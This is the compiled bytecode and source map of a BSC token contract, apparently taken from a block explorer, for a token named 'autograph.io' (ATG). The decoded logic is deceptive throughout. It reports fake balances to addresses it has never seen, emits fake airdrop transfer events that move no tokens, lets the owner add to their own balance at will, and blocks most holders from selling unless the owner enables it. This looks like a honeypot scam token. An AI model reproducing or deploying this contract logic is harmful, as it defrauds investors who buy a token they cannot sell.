0x608060405234801561001057600080fd5b50600436106101215760003560e01c806355a373d6116100ad578063a457c2d711610071578063a457c2d714610332578063a5500c3014610362578063a9059cbb1461037e578063b8c9d25c146103ae578063dd62ed3e146103cc57610121565b806355a373d61461028c57806370a08231146102aa5780638da5cb5b146102da57806395d89b41146102f85780639999d8331461031657610121565b806323b872dd116100f457806323b872dd146101c25780632b408f59146101f2578063313ce567146102225780633950935114610240578063516d533c1461027057610121565b806306fdde0314610126578063095ea7b31461014457806316c49d651461017457806318160ddd146101a4575b600080fd5b61012e6103fc565b60405161013b9190611be2565b60405180910390f35b61015e600480360381019061015991906118dd565b610439565b60405161016b9190611bc7565b60405180910390f35b61018e60048036038101906101899190611979565b610457565b60405161019b9190611bc7565b60405180910390f35b6101ac610511565b6040516101b99190611d24565b60405180910390f35b6101dc60048036038101906101d7919061188a565b61051b565b6040516101e99190611bc7565b60405180910390f35b61020c600480360381019061020791906119a6565b610839565b6040516102199190611bc7565b60405180910390f35b61022a610936565b6040516102379190611d3f565b60405180910390f35b61025a600480360381019061025591906118dd565b61093f565b6040516102679190611bc7565b60405180910390f35b61028a6004803603810190610285919061191d565b6109eb565b005b610294610b23565b6040516102a19190611b83565b60405180910390f35b6102c460048036038101906102bf91906117f0565b610b2b565b6040516102d19190611d24565b60405180910390f35b6102e2610bd0565b6040516102ef9190611b83565b60405180910390f35b610300610bf9565b60405161030d9190611be2565b60405180910390f35b610330600480360381019061032b919061191d565b610c36565b005b61034c600480360381019061034791906118dd565b610d1b565b6040516103599190611bc7565b60405180910390f35b61037c600480360381019061037791906119a6565b610e06565b005b610398600480360381019061039391906118dd565b610ea5565b6040516103a59190611bc7565b60405180910390f35b6103b661102c565b6040516103c39190611b83565b60405180910390f35b6103e660048036038101906103e1919061184a565b6110f7565b6040516103f39190611d24565b60405180910390f35b60606040518060400160405280600c81526020017f6175746f67726170682e696f0000000000000000000000000000000000000000815250905090565b600061044d61044661117e565b8484611186565b6001905092915050565b600061046161117e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e590611c84565b60405180910390fd5b81600760006101000a81548160ff02191690831515021790555060019050919050565b6000600554905090565b60007310ed43c718714eb63d5aa57b78b54704e256024e73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061059d575061056e61102c565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806105db5750600073ffffffffffffffffffffffffffffffffffffffff166105c361102c565b73ffffffffffffffffffffffffffffffffffffffff16145b8061061857506105e9610bd0565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561070d57610628848484611351565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061067361117e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90611c64565b60405180910390fd5b610707856106ff61117e565b858403611186565b5061082e565b6001548211158061072a5750600760009054906101000a900460ff165b801561073c575061073a846116ae565b155b1561082d5761074c848484611351565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061079761117e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610817576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080e90611c64565b60405180910390fd5b61082b8561082361117e565b858403611186565b505b5b600190509392505050565b600061084361117e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611c84565b60405180910390fd5b81600260006108dd61117e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109269190611dc7565b9250508190555060019050919050565b60006009905090565b60006109e161094c61117e565b84846004600061095a61117e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109dc9190611dc7565b611186565b6001905092915050565b6109f361117e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7790611c84565b60405180910390fd5b60005b8251811015610b1e57828181518110610a9f57610a9e611f4e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b039190611d24565b60405180910390a38080610b1690611ed6565b915050610a83565b505050565b600030905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b88576006549050610bcb565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4154470000000000000000000000000000000000000000000000000000000000815250905090565b610c3e61117e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ccb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc290611c84565b60405180910390fd5b60005b8251811015610d1657610d03610ce261117e565b848381518110610cf557610cf4611f4e565b5b602002602001015184611351565b8080610d0e90611ed6565b915050610cce565b505050565b60008060046000610d2a61117e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610de7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dde90611ce4565b60405180910390fd5b610dfb610df261117e565b85858403611186565b600191505092915050565b610e0e61117e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9290611c84565b60405180910390fd5b8060068190555050565b60007310ed43c718714eb63d5aa57b78b54704e256024e73ffffffffffffffffffffffffffffffffffffffff16610eda61117e565b73ffffffffffffffffffffffffffffffffffffffff161480610f355750610eff61102c565b73ffffffffffffffffffffffffffffffffffffffff16610f1d61117e565b73ffffffffffffffffffffffffffffffffffffffff16145b80610f735750600073ffffffffffffffffffffffffffffffffffffffff16610f5b61102c565b73ffffffffffffffffffffffffffffffffffffffff16145b80610fb75750610f81610bd0565b73ffffffffffffffffffffffffffffffffffffffff16610f9f61117e565b73ffffffffffffffffffffffffffffffffffffffff16145b15610fd357610fce610fc761117e565b8484611351565b611022565b60015482111580610ff05750600760009054906101000a900460ff165b8015611009575061100761100261117e565b6116ae565b155b156110215761102061101961117e565b8484611351565b5b5b6001905092915050565b60008073ca143ce32fe78f1f7019d7d551a6402fc5350c739050600073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c905060008273ffffffffffffffffffffffffffffffffffffffff1663e6a4390583306040518363ffffffff1660e01b815260040161109c929190611b9e565b60206040518083038186803b1580156110b457600080fd5b505afa1580156110c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ec919061181d565b905080935050505090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ed90611cc4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125d90611c24565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113449190611d24565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b890611ca4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611431576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142890611c04565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166114bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b490611d04565b60405180910390fd5b6114c88383836116f9565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561154f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154690611c44565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115e49190611dc7565b925050819055506001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116a09190611d24565b60405180910390a350505050565b6000807fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b90506000833f90506000801b81141580156116f05750818114155b92505050919050565b505050565b600061171161170c84611d7f565b611d5a565b9050808382526020820190508285602086028201111561173457611733611fb1565b5b60005b85811015611764578161174a888261176e565b845260208401935060208301925050600181019050611737565b5050509392505050565b60008135905061177d81612272565b92915050565b60008151905061179281612272565b92915050565b600082601f8301126117ad576117ac611fac565b5b81356117bd8482602086016116fe565b91505092915050565b6000813590506117d581612289565b92915050565b6000813590506117ea816122a0565b92915050565b60006020828403121561180657611805611fbb565b5b60006118148482850161176e565b91505092915050565b60006020828403121561183357611832611fbb565b5b600061184184828501611783565b91505092915050565b6000806040838503121561186157611860611fbb565b5b600061186f8582860161176e565b92505060206118808582860161176e565b9150509250929050565b6000806000606084860312156118a3576118a2611fbb565b5b60006118b18682870161176e565b93505060206118c28682870161176e565b92505060406118d3868287016117db565b9150509250925092565b600080604083850312156118f4576118f3611fbb565b5b60006119028582860161176e565b9250506020611913858286016117db565b9150509250929050565b6000806040838503121561193457611933611fbb565b5b600083013567ffffffffffffffff81111561195257611951611fb6565b5b61195e85828601611798565b925050602061196f858286016117db565b9150509250929050565b60006020828403121561198f5761198e611fbb565b5b600061199d848285016117c6565b91505092915050565b6000602082840312156119bc576119bb611fbb565b5b60006119ca848285016117db565b91505092915050565b6119dc81611e1d565b82525050565b6119eb81611e2f565b82525050565b60006119fc82611dab565b611a068185611db6565b9350611a16818560208601611e72565b611a1f81611fc0565b840191505092915050565b6000611a37602383611db6565b9150611a4282611fd1565b604082019050919050565b6000611a5a602283611db6565b9150611a6582612020565b604082019050919050565b6000611a7d602683611db6565b9150611a888261206f565b604082019050919050565b6000611aa0602883611db6565b9150611aab826120be565b604082019050919050565b6000611ac3602083611db6565b9150611ace8261210d565b602082019050919050565b6000611ae6602583611db6565b9150611af182612136565b604082019050919050565b6000611b09602483611db6565b9150611b1482612185565b604082019050919050565b6000611b2c602583611db6565b9150611b37826121d4565b604082019050919050565b6000611b4f602e83611db6565b9150611b5a82612223565b604082019050919050565b611b6e81611e5b565b82525050565b611b7d81611e65565b82525050565b6000602082019050611b9860008301846119d3565b92915050565b6000604082019050611bb360008301856119d3565b611bc060208301846119d3565b9392505050565b6000602082019050611bdc60008301846119e2565b92915050565b60006020820190508181036000830152611bfc81846119f1565b905092915050565b60006020820190508181036000830152611c1d81611a2a565b9050919050565b60006020820190508181036000830152611c3d81611a4d565b9050919050565b60006020820190508181036000830152611c5d81611a70565b9050919050565b60006020820190508181036000830152611c7d81611a93565b9050919050565b60006020820190508181036000830152611c9d81611ab6565b9050919050565b60006020820190508181036000830152611cbd81611ad9565b9050919050565b60006020820190508181036000830152611cdd81611afc565b9050919050565b60006020820190508181036000830152611cfd81611b1f565b9050919050565b60006020820190508181036000830152611d1d81611b42565b9050919050565b6000602082019050611d396000830184611b65565b92915050565b6000602082019050611d546000830184611b74565b92915050565b6000611d64611d75565b9050611d708282611ea5565b919050565b6000604051905090565b600067ffffffffffffffff821115611d9a57611d99611f7d565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611dd282611e5b565b9150611ddd83611e5b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e1257611e11611f1f565b5b828201905092915050565b6000611e2882611e3b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611e90578082015181840152602081019050611e75565b83811115611e9f576000848401525b50505050565b611eae82611fc0565b810181811067ffffffffffffffff82111715611ecd57611ecc611f7d565b5b80604052505050565b6000611ee182611e5b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611f1457611f13611f1f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20746f6b656e206d75737420626520756e6c6f636b656420626560008201527f666f7265207472616e7366657227000000000000000000000000000000000000602082015250565b61227b81611e1d565b811461228657600080fd5b50565b61229281611e2f565b811461229d57600080fd5b50565b6122a981611e5b565b81146122b457600080fd5b5056fea2646970667358221220759080ff2bf843db6ddafeec3d3034c0657efcb2df04c3b209aa77fcc0d61ddb64736f6c63430008060033
Deployed Bytecode Sourcemap
2792:8143:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3541:109;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5296:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4232:132;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3868:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5473:1154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4372:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3768:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7334:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10078:206;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7978:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3984:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2494:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3658:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9866:202;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7557:413;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10290:121;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4534:595;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6635:350;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5137:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3541:109;3595:13;3621:21;;;;;;;;;;;;;;;;;;;3541:109;:::o;5296:169::-;5379:4;5396:39;5405:12;:10;:12::i;:::-;5419:7;5428:6;5396:8;:39::i;:::-;5453:4;5446:11;;5296:169;;;;:::o;4232:132::-;4299:4;2716:12;:10;:12::i;:::-;2706:22;;:6;;;;;;;;;;:22;;;2698:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4327:7:::1;4316:8;;:18;;;;;;;;;;;;;;;;;;4352:4;4345:11;;4232:132:::0;;;:::o;3868:108::-;3929:7;3956:12;;3949:19;;3868:108;:::o;5473:1154::-;5613:4;2905:42;5633:25;;:6;:25;;;:52;;;;5672:13;:11;:13::i;:::-;5662:23;;:6;:23;;;5633:52;:83;;;;5714:1;5689:27;;:13;:11;:13::i;:::-;:27;;;5633:83;:104;;;;5730:7;:5;:7::i;:::-;5720:17;;:6;:17;;;5633:104;5630:968;;;5754:36;5764:6;5772:9;5783:6;5754:9;:36::i;:::-;5811:24;5838:11;:19;5850:6;5838:19;;;;;;;;;;;;;;;:33;5858:12;:10;:12::i;:::-;5838:33;;;;;;;;;;;;;;;;5811:60;;5914:6;5894:16;:26;;5886:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;6009:57;6018:6;6026:12;:10;:12::i;:::-;6059:6;6040:16;:25;6009:8;:57::i;:::-;5739:354;5630:968;;;6168:4;;6158:6;:14;;:26;;;;6176:8;;;;;;;;;;;6158:26;6157:51;;;;;6190:18;6201:6;6190:10;:18::i;:::-;6189:19;6157:51;6153:434;;;6230:36;6240:6;6248:9;6259:6;6230:9;:36::i;:::-;6285:24;6312:11;:19;6324:6;6312:19;;;;;;;;;;;;;;;:33;6332:12;:10;:12::i;:::-;6312:33;;;;;;;;;;;;;;;;6285:60;;6392:6;6372:16;:26;;6364:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;6495:57;6504:6;6512:12;:10;:12::i;:::-;6545:6;6526:16;:25;6495:8;:57::i;:::-;6211:376;6153:434;5630:968;6615:4;6608:11;;5473:1154;;;;;:::o;4372:154::-;4446:4;2716:12;:10;:12::i;:::-;2706:22;;:6;;;;;;;;;;:22;;;2698:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4490:6:::1;4463:9;:23;4473:12;:10;:12::i;:::-;4463:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;4514:4;4507:11;;4372:154:::0;;;:::o;3768:92::-;3826:5;3851:1;3844:8;;3768:92;:::o;7334:215::-;7422:4;7439:80;7448:12;:10;:12::i;:::-;7462:7;7508:10;7471:11;:25;7483:12;:10;:12::i;:::-;7471:25;;;;;;;;;;;;;;;:34;7497:7;7471:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;7439:8;:80::i;:::-;7537:4;7530:11;;7334:215;;;;:::o;10078:206::-;2716:12;:10;:12::i;:::-;2706:22;;:6;;;;;;;;;;:22;;;2698:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10169:6:::1;10164:113;10181:7;:14;10179:1;:16;10164:113;;;10246:7;10254:1;10246:10;;;;;;;;:::i;:::-;;;;;;;;10222:43;;10239:4;10222:43;;;10258:6;10222:43;;;;;;:::i;:::-;;;;;;;;10197:3;;;;;:::i;:::-;;;;10164:113;;;;10078:206:::0;;:::o;7978:102::-;8032:7;8067:4;8052:20;;7978:102;:::o;3984:240::-;4058:7;4091:9;:18;4101:7;4091:18;;;;;;;;;;;;;;;;;;;;;;;;;4086:131;;4133:14;;4126:21;;;;4086:131;4187:9;:18;4197:7;4187:18;;;;;;;;;;;;;;;;4180:25;;3984:240;;;;:::o;2494:79::-;2532:7;2559:6;;;;;;;;;;;2552:13;;2494:79;:::o;3658:102::-;3714:13;3740:12;;;;;;;;;;;;;;;;;;;3658:102;:::o;9866:202::-;2716:12;:10;:12::i;:::-;2706:22;;:6;;;;;;;;;;:22;;;2698:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9958:6:::1;9953:108;9970:7;:14;9968:1;:16;9953:108;;;10006:43;10016:12;:10;:12::i;:::-;10030:7;10038:1;10030:10;;;;;;;;:::i;:::-;;;;;;;;10042:6;10006:9;:43::i;:::-;9986:3;;;;;:::i;:::-;;;;9953:108;;;;9866:202:::0;;:::o;7557:413::-;7650:4;7667:24;7694:11;:25;7706:12;:10;:12::i;:::-;7694:25;;;;;;;;;;;;;;;:34;7720:7;7694:34;;;;;;;;;;;;;;;;7667:61;;7767:15;7747:16;:35;;7739:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7860:67;7869:12;:10;:12::i;:::-;7883:7;7911:15;7892:16;:34;7860:8;:67::i;:::-;7958:4;7951:11;;;7557:413;;;;:::o;10290:121::-;2716:12;:10;:12::i;:::-;2706:22;;:6;;;;;;;;;;:22;;;2698:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10389:14:::1;10372;:31;;;;10290:121:::0;:::o;4534:595::-;4620:4;2905:42;4695:31;;:12;:10;:12::i;:::-;:31;;;:64;;;;4746:13;:11;:13::i;:::-;4730:29;;:12;:10;:12::i;:::-;:29;;;4695:64;:95;;;;4788:1;4763:27;;:13;:11;:13::i;:::-;:27;;;4695:95;:122;;;;4810:7;:5;:7::i;:::-;4794:23;;:12;:10;:12::i;:::-;:23;;;4695:122;4692:408;;;4834:42;4844:12;:10;:12::i;:::-;4858:9;4869:6;4834:9;:42::i;:::-;4692:408;;;4963:4;;4953:6;:14;;:26;;;;4971:8;;;;;;;;;;;4953:26;4952:57;;;;;4985:24;4996:12;:10;:12::i;:::-;4985:10;:24::i;:::-;4984:25;4952:57;4948:141;;;5031:42;5041:12;:10;:12::i;:::-;5055:9;5066:6;5031:9;:42::i;:::-;4948:141;4692:408;5117:4;5110:11;;4534:595;;;;:::o;6635:350::-;6687:7;6707:24;6734:42;6707:69;;6787:12;6802:42;6787:57;;6855:19;6893:16;6877:41;;;6927:4;6942;6877:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6855:93;;6966:11;6959:18;;;;;6635:350;:::o;5137:151::-;5226:7;5253:11;:18;5265:5;5253:18;;;;;;;;;;;;;;;:27;5272:7;5253:27;;;;;;;;;;;;;;;;5246:34;;5137:151;;;;:::o;1241:98::-;1294:7;1321:10;1314:17;;1241:98;:::o;10417:380::-;10570:1;10553:19;;:5;:19;;;;10545:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10651:1;10632:21;;:7;:21;;;;10624:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10735:6;10705:11;:18;10717:5;10705:18;;;;;;;;;;;;;;;:27;10724:7;10705:27;;;;;;;;;;;;;;;:36;;;;10773:7;10757:32;;10766:5;10757:32;;;10782:6;10757:32;;;;;;:::i;:::-;;;;;;;;10417:380;;;:::o;8088:799::-;8246:1;8228:20;;:6;:20;;;;8220:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8330:1;8309:23;;:9;:23;;;;8301:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8391:9;:17;8401:6;8391:17;;;;;;;;;;;;;;;;;;;;;;;;;8383:76;;;;;;;;;;;;:::i;:::-;;;;;;;;;8472:47;8493:6;8501:9;8512:6;8472:20;:47::i;:::-;8532:21;8556:9;:17;8566:6;8556:17;;;;;;;;;;;;;;;;8532:41;;8609:6;8592:13;:23;;8584:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;8730:6;8714:13;:22;8694:9;:17;8704:6;8694:17;;;;;;;;;;;;;;;:42;;;;8782:6;8758:9;:20;8768:9;8758:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;8822:4;8799:9;:20;8809:9;8799:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;8861:9;8844:35;;8853:6;8844:35;;;8872:6;8844:35;;;;;;:::i;:::-;;;;;;;;8209:678;8088:799;;;:::o;6993:333::-;7050:4;7067:19;7089:66;7067:88;;;;7166:16;7241:4;7229:17;7217:29;;7287:3;7275:15;;:8;:15;;:42;;;;;7306:11;7294:8;:23;;7275:42;7267:51;;;;6993:333;;;:::o;10805:125::-;;;;:::o;24:722:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;404:79;;:::i;:::-;350:2;517:1;502:238;527:6;524:1;521:13;502:238;;;595:3;624:37;657:3;645:10;624:37;:::i;:::-;619:3;612:50;691:4;686:3;682:14;675:21;;725:4;720:3;716:14;709:21;;562:178;549:1;546;542:9;537:14;;502:238;;;506:14;126:620;;;;;;;:::o;752:139::-;798:5;836:6;823:20;814:29;;852:33;879:5;852:33;:::i;:::-;804:87;;;;:::o;897:143::-;954:5;985:6;979:13;970:22;;1001:33;1028:5;1001:33;:::i;:::-;960:80;;;;:::o;1063:370::-;1134:5;1183:3;1176:4;1168:6;1164:17;1160:27;1150:2;;1191:79;;:::i;:::-;1150:2;1308:6;1295:20;1333:94;1423:3;1415:6;1408:4;1400:6;1396:17;1333:94;:::i;:::-;1324:103;;1140:293;;;;;:::o;1439:133::-;1482:5;1520:6;1507:20;1498:29;;1536:30;1560:5;1536:30;:::i;:::-;1488:84;;;;:::o;1578:139::-;1624:5;1662:6;1649:20;1640:29;;1678:33;1705:5;1678:33;:::i;:::-;1630:87;;;;:::o;1723:329::-;1782:6;1831:2;1819:9;1810:7;1806:23;1802:32;1799:2;;;1837:79;;:::i;:::-;1799:2;1957:1;1982:53;2027:7;2018:6;2007:9;2003:22;1982:53;:::i;:::-;1972:63;;1928:117;1789:263;;;;:::o;2058:351::-;2128:6;2177:2;2165:9;2156:7;2152:23;2148:32;2145:2;;;2183:79;;:::i;:::-;2145:2;2303:1;2328:64;2384:7;2375:6;2364:9;2360:22;2328:64;:::i;:::-;2318:74;;2274:128;2135:274;;;;:::o;2415:474::-;2483:6;2491;2540:2;2528:9;2519:7;2515:23;2511:32;2508:2;;;2546:79;;:::i;:::-;2508:2;2666:1;2691:53;2736:7;2727:6;2716:9;2712:22;2691:53;:::i;:::-;2681:63;;2637:117;2793:2;2819:53;2864:7;2855:6;2844:9;2840:22;2819:53;:::i;:::-;2809:63;;2764:118;2498:391;;;;;:::o;2895:619::-;2972:6;2980;2988;3037:2;3025:9;3016:7;3012:23;3008:32;3005:2;;;3043:79;;:::i;:::-;3005:2;3163:1;3188:53;3233:7;3224:6;3213:9;3209:22;3188:53;:::i;:::-;3178:63;;3134:117;3290:2;3316:53;3361:7;3352:6;3341:9;3337:22;3316:53;:::i;:::-;3306:63;;3261:118;3418:2;3444:53;3489:7;3480:6;3469:9;3465:22;3444:53;:::i;:::-;3434:63;;3389:118;2995:519;;;;;:::o;3520:474::-;3588:6;3596;3645:2;3633:9;3624:7;3620:23;3616:32;3613:2;;;3651:79;;:::i;:::-;3613:2;3771:1;3796:53;3841:7;3832:6;3821:9;3817:22;3796:53;:::i;:::-;3786:63;;3742:117;3898:2;3924:53;3969:7;3960:6;3949:9;3945:22;3924:53;:::i;:::-;3914:63;;3869:118;3603:391;;;;;:::o;4000:684::-;4093:6;4101;4150:2;4138:9;4129:7;4125:23;4121:32;4118:2;;;4156:79;;:::i;:::-;4118:2;4304:1;4293:9;4289:17;4276:31;4334:18;4326:6;4323:30;4320:2;;;4356:79;;:::i;:::-;4320:2;4461:78;4531:7;4522:6;4511:9;4507:22;4461:78;:::i;:::-;4451:88;;4247:302;4588:2;4614:53;4659:7